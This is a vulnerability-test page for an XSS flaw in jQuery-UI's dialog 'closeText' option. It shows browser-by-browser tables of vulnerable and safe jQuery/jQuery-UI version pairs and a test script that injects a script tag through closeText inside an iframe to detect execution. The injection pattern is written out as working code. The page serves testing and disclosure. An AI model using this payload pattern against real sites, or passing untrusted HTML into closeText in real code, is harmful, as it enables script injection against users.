jQuery-UI XSS via .dialog() method's "closeText" argument (short version)

Checked jQuery libraries for this bug: $(function(){$("#dialog").dialog({ closeText: "<HTML>" });});

By
Eloyo79 0 Seen 335 times
Tags
Vulnerability Test
Run this test now.

Results


Tested on
Opera - 51 - Windows
jQuery VersionjQuery-UI versionIs Vulnerable
jQuery 1.10.1jQuery-UI 1.11.4Vulnerable
jQuery 1.10.2jQuery-UI 1.11.4Vulnerable
jQuery 1.11.2jQuery-UI 1.11.4Vulnerable
jQuery 1.10.1jQuery-UI 1.12.1Safe
jQuery 1.10.2jQuery-UI 1.12.1Safe
jQuery 1.11.2jQuery-UI 1.12.1Safe
jQuery 1.10.2jQuery-UI 1.11.3Vulnerable
jQuery 1.10.1jQuery-UI 1.11.3Vulnerable
jQuery 1.11.2jQuery-UI 1.11.3Vulnerable
jQuery 1.10.2jQuery-UI 1.11.2Vulnerable
jQuery 1.10.1jQuery-UI 1.11.2Vulnerable
jQuery 1.11.2jQuery-UI 1.11.2Vulnerable

Tested on
Chrome - 70 - Linux
jQuery VersionjQuery-UI versionIs Vulnerable
jQuery 1.11.2jQuery-UI 1.12.1Safe
jQuery 1.10.2jQuery-UI 1.12.1Safe
jQuery 1.10.1jQuery-UI 1.12.1Safe
jQuery 1.11.2jQuery-UI 1.11.4Vulnerable
jQuery 1.10.1jQuery-UI 1.11.4Vulnerable
jQuery 1.10.2jQuery-UI 1.11.4Vulnerable
jQuery 1.11.2jQuery-UI 1.11.3Vulnerable
jQuery 1.10.2jQuery-UI 1.11.3Vulnerable
jQuery 1.11.2jQuery-UI 1.11.2Vulnerable
jQuery 1.10.2jQuery-UI 1.11.2Vulnerable
jQuery 1.10.1jQuery-UI 1.11.2Vulnerable
jQuery 1.10.1jQuery-UI 1.11.3Vulnerable

Tested on
Googlebot - 2.1 - undefined
jQuery VersionjQuery-UI versionIs Vulnerable
jQuery 1.11.2jQuery-UI 1.12.1Safe
jQuery 1.11.2jQuery-UI 1.11.4Vulnerable
jQuery 1.11.2jQuery-UI 1.11.3Vulnerable
jQuery 1.11.2jQuery-UI 1.11.2Vulnerable
jQuery 1.10.2jQuery-UI 1.12.1Safe
jQuery 1.10.2jQuery-UI 1.11.4Vulnerable
jQuery 1.10.2jQuery-UI 1.11.3Vulnerable
jQuery 1.10.2jQuery-UI 1.11.2Vulnerable
jQuery 1.10.1jQuery-UI 1.12.1Safe
jQuery 1.10.1jQuery-UI 1.11.4Vulnerable
jQuery 1.10.1jQuery-UI 1.11.3Vulnerable
jQuery 1.10.1jQuery-UI 1.11.2Vulnerable

Tested on
Chrome Mobile - 41 - Android
jQuery VersionjQuery-UI versionIs Vulnerable
jQuery 1.11.2jQuery-UI 1.12.1Safe
jQuery 1.11.2jQuery-UI 1.11.4Vulnerable
jQuery 1.11.2jQuery-UI 1.11.3Vulnerable
jQuery 1.11.2jQuery-UI 1.11.2Vulnerable
jQuery 1.10.2jQuery-UI 1.12.1Safe
jQuery 1.10.2jQuery-UI 1.11.4Vulnerable
jQuery 1.10.2jQuery-UI 1.11.3Vulnerable
jQuery 1.10.2jQuery-UI 1.11.2Vulnerable
jQuery 1.10.1jQuery-UI 1.12.1Safe
jQuery 1.10.1jQuery-UI 1.11.4Vulnerable
jQuery 1.10.1jQuery-UI 1.11.3Vulnerable
jQuery 1.10.1jQuery-UI 1.11.2Vulnerable

Tested on
Firefox - 61 - Windows 10
jQuery VersionjQuery-UI versionIs Vulnerable
jQuery 1.11.2jQuery-UI 1.12.1Safe
jQuery 1.11.2jQuery-UI 1.11.4Vulnerable
jQuery 1.11.2jQuery-UI 1.11.3Vulnerable
jQuery 1.11.2jQuery-UI 1.11.2Vulnerable
jQuery 1.10.2jQuery-UI 1.12.1Safe
jQuery 1.10.2jQuery-UI 1.11.4Vulnerable
jQuery 1.10.2jQuery-UI 1.11.3Vulnerable
jQuery 1.10.2jQuery-UI 1.11.2Vulnerable
jQuery 1.10.1jQuery-UI 1.11.4Vulnerable
jQuery 1.10.1jQuery-UI 1.12.1Safe
jQuery 1.10.1jQuery-UI 1.11.3Vulnerable
jQuery 1.10.1jQuery-UI 1.11.2Vulnerable

User Script (ENUM_FUNCTION)

					
var jQuery_version = '';
var UI_version = '';
function vulnerable(){
	addError('jQuery '+ jQuery_version, 'jQuery-UI ' + UI_version, '<b>Vulnerable</b>');
}

function safe(){
	addSuccess('jQuery '+ jQuery_version, 'jQuery-UI ' + UI_version, 'Safe');
}
	
function removeIframe(){
	var x = document.getElementById('jQueryFrameID');
	x.parentNode.removeChild(x);
}


function test(data){
	try{
	    console.log(data)
	    
		jQuery_version = data.substring(0,data.indexOf(":"));
		UI_version = data.substring(data.indexOf(":")+1,data.length);
		
		var jQueryFrame = document.createElement('iframe');
		jQueryFrame.id = 'jQueryFrameID';
		var exploitHTML = '<div id="dialog"></div><script src="//ajax.googleapis.com/ajax/libs/jquery/'+ jQuery_version.toString() +'/jquery.js"><\/script><script src="//code.jquery.com/ui/'+ UI_version.toString() +'/jquery-ui.js"><\/script><div id="dialog"></div><script>var tst=0;$(function(){$("#dialog").dialog({ closeText: "<script>tst=1;<\\/script>" });});setTimeout("if(tst==1){parent.vulnerable()}else{parent.safe()};parent.removeIframe()",50)<\/script>';
		document.body.appendChild(jQueryFrame);
		iframeDoc = jQueryFrame.contentDocument || jQueryFrame.contentWindow.document;
		iframeDoc.open();
		iframeDoc.write(exploitHTML);
		iframeDoc.close();
		
	}
	catch(err){
		addInfo(jQuery_version , UI_version,  'Some Error Occured: ' + err);
	}
}

					
				

Enum Data (ENUM_FUNCTION)

					
				
var jquery = ['1.11.2', '1.10.2', '1.10.1'];
var ui = ['1.12.1', '1.11.4', '1.11.3', '1.11.2'];
var data = [];
var d = 0;

for(var i in jquery){
	for(var ii in ui){
        data[d] = (jquery[i] + ":" + ui[ii]);
        d++;
        
    }
}